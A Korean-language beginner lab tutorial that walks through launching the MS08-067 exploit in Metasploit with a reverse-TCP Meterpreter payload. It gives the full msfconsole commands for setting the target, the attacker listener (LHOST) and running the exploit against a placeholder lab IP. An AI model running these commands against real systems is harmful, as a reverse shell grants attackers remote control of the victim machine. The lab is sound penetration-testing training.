Metasploit 에서 리버스 쉘 페이로드 사용하기

Kali LinuxBeginner
지금 연습하기

소개

이 실습에서는 Metasploit Framework 내에서 리버스 쉘 페이로드 (reverse shell payload) 를 사용하는 기본적인 단계를 배우게 됩니다. Metasploit 은 방대한 익스플로잇 (exploit), 페이로드 (payload), 보조 모듈 (auxiliary module) 라이브러리를 갖춘 강력한 침투 테스트 도구입니다.

"페이로드"는 익스플로잇이 성공적으로 대상 시스템을 침해한 후 해당 시스템에서 실행되는 코드입니다. "리버스 쉘"은 침해된 대상 머신이 공격자의 머신으로 연결을 다시 시작하는 페이로드의 한 유형입니다. 이 기법은 대상 시스템으로의 들어오는 연결은 차단하지만 나가는 연결은 허용하는 방화벽을 우회하는 데 자주 사용됩니다.

저희는 windows/meterpreter/reverse_tcp 페이로드를 사용할 것입니다. Meterpreter 는 고급 기능이 풍부한 페이로드로, 대화형 쉘을 제공하여 공격자가 명령을 실행하고, 파일을 업로드/다운로드하며, 기타 다양한 후속 침투 활동을 수행할 수 있도록 합니다.

이 실습이 끝나면 익스플로잇을 선택하고, 리버스 쉘 페이로드를 구성하며, 공격을 시작하는 워크플로우를 이해하게 될 것입니다.

대상에 대한 익스플로잇 모듈 선택

이 단계에서는 Metasploit Framework 콘솔을 실행하고 익스플로잇 모듈을 선택합니다. 익스플로잇은 시스템의 특정 취약점을 이용하는 코드 조각입니다. 이 실습에서는 교육 목적으로 잘 알려진 익스플로잇을 사용할 것입니다.

먼저 데스크톱에서 터미널을 엽니다.

이제 Metasploit 콘솔을 시작합니다. 시작 배너를 표시하지 않는 "조용한" 실행을 위해 -q 플래그를 사용합니다.

msfconsole -q

Metasploit 이 로드되면 msf6 > 프롬프트가 표시됩니다. 이것이 Metasploit 명령줄 인터페이스입니다.

다음 작업은 익스플로잇을 선택하는 것입니다. use 명령과 익스플로잇 모듈 이름을 사용할 것입니다. 이 실습에서는 구형 Windows 시스템에 대한 고전적이고 안정적인 익스플로잇인 MS08-067 취약점을 대상으로 할 것입니다.

msf6 > 프롬프트에 다음 명령을 입력합니다.

use exploit/windows/smb/ms08_067_netapi

Enter 키를 누르면 프롬프트가 변경되는 것을 볼 수 있습니다. 이제 선택한 익스플로잇의 이름이 포함되어 이 모듈의 컨텍스트에 있음을 나타냅니다.

msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) >

이제 익스플로잇 모듈을 성공적으로 선택했으며 구성할 준비가 되었습니다.

페이로드를 windows/meterpreter/reverse_tcp로 설정

이 단계에서는 선택한 익스플로잇에 대한 페이로드를 설정합니다. 페이로드는 익스플로잇이 성공한 후 대상 머신에서 실행될 코드입니다. 소개에서 언급했듯이 리버스 TCP Meterpreter 페이로드를 사용할 것입니다.

이전 단계의 출력에서 볼 수 있듯이 익스플로잇을 선택할 때 Metasploit 이 이 페이로드로 기본 설정되었을 수 있지만, 올바른 페이로드가 구성되었는지 확인하기 위해 명시적으로 설정하는 것이 좋습니다.

msf6 exploit(windows/smb/ms08_067_netapi) > 프롬프트에서 set payload 명령을 사용합니다.

set payload windows/meterpreter/reverse_tcp

명령을 실행한 후 Metasploit 이 변경 사항을 확인합니다.

payload => windows/meterpreter/reverse_tcp

선택한 익스플로잇 및 페이로드에 대해 구성할 수 있는 모든 옵션을 보려면 show options 명령을 사용할 수 있습니다. 이 명령은 공격을 시작하기 전에 필요한 매개변수를 확인하는 데 매우 유용합니다.

show options

모듈 옵션, 페이로드 옵션 및 익스플로잇 대상 목록이 표시됩니다. 다음 단계에서 구성할 RHOSTSLHOST 옵션에 주목하십시오.

익스플로잇에 대한 RHOSTS 옵션 설정

이 단계에서는 RHOSTS 옵션을 구성합니다. RHOSTS는 "Remote Host(s)"를 의미하며 공격하려는 대상 머신의 IP 주소를 지정합니다.

익스플로잇이 작동하려면 Metasploit 에 어디로 보낼지 알려야 합니다. set 명령은 이러한 옵션을 구성하는 데 사용됩니다.

실제 시나리오에서는 정찰을 통해 대상의 IP 주소를 식별했을 것입니다. 이 실습에서는 자리 표시자 IP 주소를 사용합니다.

msf6 exploit(...) > 프롬프트에서 RHOSTS10.0.2.15로 설정합니다.

set RHOSTS 10.0.2.15

Metasploit 이 RHOSTS 옵션이 설정되었음을 확인합니다.

RHOSTS => 10.0.2.15

이제 Metasploit 에 어떤 머신을 대상으로 할지 알려주었습니다.

LHOST 옵션을 자신의 Kali IP 주소로 설정

이 단계에서는 LHOST 옵션을 설정합니다. LHOST는 "Local Host"를 의미하며 자신의 머신 (공격자 머신) 의 IP 주소로 설정해야 합니다. 이는 희생된 대상이 어디로 다시 연결해야 하는지를 알려주기 때문에 리버스 쉘에 매우 중요한 단계입니다.

자신의 머신 IP 주소를 찾으려면 새 터미널 창을 열어야 합니다. 기존 msfconsole 터미널을 닫지 마십시오. 애플리케이션 메뉴에서 새 터미널을 열 수 있습니다.

새 터미널에서 다음 명령을 실행하여 네트워크 인터페이스 정보를 표시합니다.

ip addr show eth0

이와 유사한 출력이 표시됩니다. inet 주소를 찾으십시오. 이것이 자신의 IP 입니다.

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

위 예시에서 IP 주소는 172.17.0.2입니다. 자신의 IP 주소를 기록해 두십시오.

이제 msfconsole 프롬프트가 있는 원래 터미널로 돌아갑니다. set 명령을 사용하여 방금 찾은 IP 주소로 LHOST를 구성합니다. YOUR_IP_ADDRESS를 실제 IP 로 바꾸십시오.

set LHOST YOUR_IP_ADDRESS

예를 들어 IP 가 172.17.0.2였다면 명령은 다음과 같습니다.

set LHOST 172.17.0.2

Metasploit 이 설정을 확인합니다.

LHOST => 172.17.0.2

이제 필요한 모든 옵션이 구성되었습니다.

익스플로잇 실행 및 대상의 연결 대기

이 단계에서는 모든 옵션이 구성되었으므로 익스플로잇을 실행합니다.

exploit 명령 (또는 별칭인 run) 은 Metasploit 에게 리버스 연결을 위한 리스너를 시작한 다음 RHOSTS에 지정된 대상에게 익스플로잇을 보내도록 지시합니다.

msf6 exploit(...) > 프롬프트에서 다음을 입력합니다.

exploit

Metasploit 은 이제 대상에 대해 익스플로잇을 실행하려고 시도합니다. 다음과 같은 출력이 표시됩니다.

[*] Started reverse TCP handler on 172.17.0.2:4444
[*] 10.0.2.15:445 - Attempting to trigger the vulnerability...
[-] 10.0.2.15:445 - Exploit failed: Rex::ConnectionRefused The connection was refused by the remote host (10.0.2.15:445).
[*] Exploit completed, but no session was created.

중요: 이 실습 환경에서는 자리 표시자 IP 주소 10.0.2.15에 실제 취약한 머신이 없기 때문에 익스플로잇이 실패합니다. "Exploit completed, but no session was created"라는 출력은 예상된 것입니다.

만약 이것이 실제 취약한 대상이었고 익스플로잇이 성공했다면, "Meterpreter session 1 opened"와 같은 메시지가 표시되고 프롬프트가 meterpreter >로 변경되어 대상에 대한 완전한 제어권을 얻게 됩니다.

이것으로 리버스 쉘 페이로드와 함께 익스플로잇을 구성하고 실행하는 과정이 완료되었습니다. Metasploit 을 종료하려면 exit를 입력하십시오.

exit

요약

이 실습에서는 Metasploit Framework 에서 리버스 쉘 페이로드를 사용하는 기본적인 워크플로우를 배웠습니다.

다음과 같은 주요 단계를 실습했습니다.

  1. Metasploit 콘솔 (msfconsole) 시작.
  2. use 명령으로 익스플로잇 모듈 선택.
  3. set payload 명령으로 페이로드 설정.
  4. 필요한 옵션, 특히 RHOSTS(대상) 및 LHOST(자신의 리스너 IP) 구성.
  5. exploit 명령으로 공격 시작.

또한 RHOSTSLHOST의 중요한 차이점과 리버스 쉘이 성공하기 위해 LHOST를 올바르게 설정하는 것이 왜 필수적인지에 대해 배웠습니다. 이 시뮬레이션 환경에서는 익스플로잇이 세션을 생성하지 못했지만, 실제 공격에 필요한 모든 명령을 성공적으로 실행했습니다. 실습을 완료하신 것을 축하드립니다!